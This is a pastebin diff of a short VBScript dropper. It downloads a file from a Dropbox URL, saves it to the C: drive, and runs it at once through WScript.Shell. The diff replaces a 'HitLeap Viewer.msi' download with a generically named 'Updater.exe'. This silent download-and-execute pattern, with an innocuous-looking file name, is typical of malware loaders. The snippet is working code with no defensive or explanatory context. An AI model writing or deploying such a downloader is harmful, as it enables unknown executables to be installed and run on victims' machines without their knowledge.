SHOW:
|
|
- or go back to the newest paste.
| 1 | dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
| |
| 2 | dim bStrm: Set bStrm = createobject("Adodb.Stream")
| |
| 3 | - | xHttp.Open "GET", "https://dl.dropboxusercontent.com/s/3sg7jum2jqlrcpr/HitLeap%20Viewer.msi?dl=1&token_hash=AAE7K51xcncGjxUMGAdJo7vZOXQS2-KgG_PHs2KkVuWsYg", False |
| 3 | + | xHttp.Open "GET", "https://dl.dropboxusercontent.com/u/110727412/Updater.exe", False |
| 4 | xHttp.Send | |
| 5 | ||
| 6 | with bStrm | |
| 7 | .type = 1 '//binary | |
| 8 | .open | |
| 9 | .write xHttp.responseBody | |
| 10 | - | .savetofile "c:\HitLeap Viewer.msi", 2 '//overwrite |
| 10 | + | .savetofile "c:\updater.exe", 2 '//overwrite |
| 11 | end with | |
| 12 | ||
| 13 | Dim objShell | |
| 14 | Set objShell = WScript.CreateObject( "WScript.Shell" ) | |
| 15 | - | objShell.Run("""c:\HitLeap Viewer.msi""")
|
| 15 | + | objShell.Run("""c:\updater.exe""")
|
| 16 | Set objShell = Nothing |
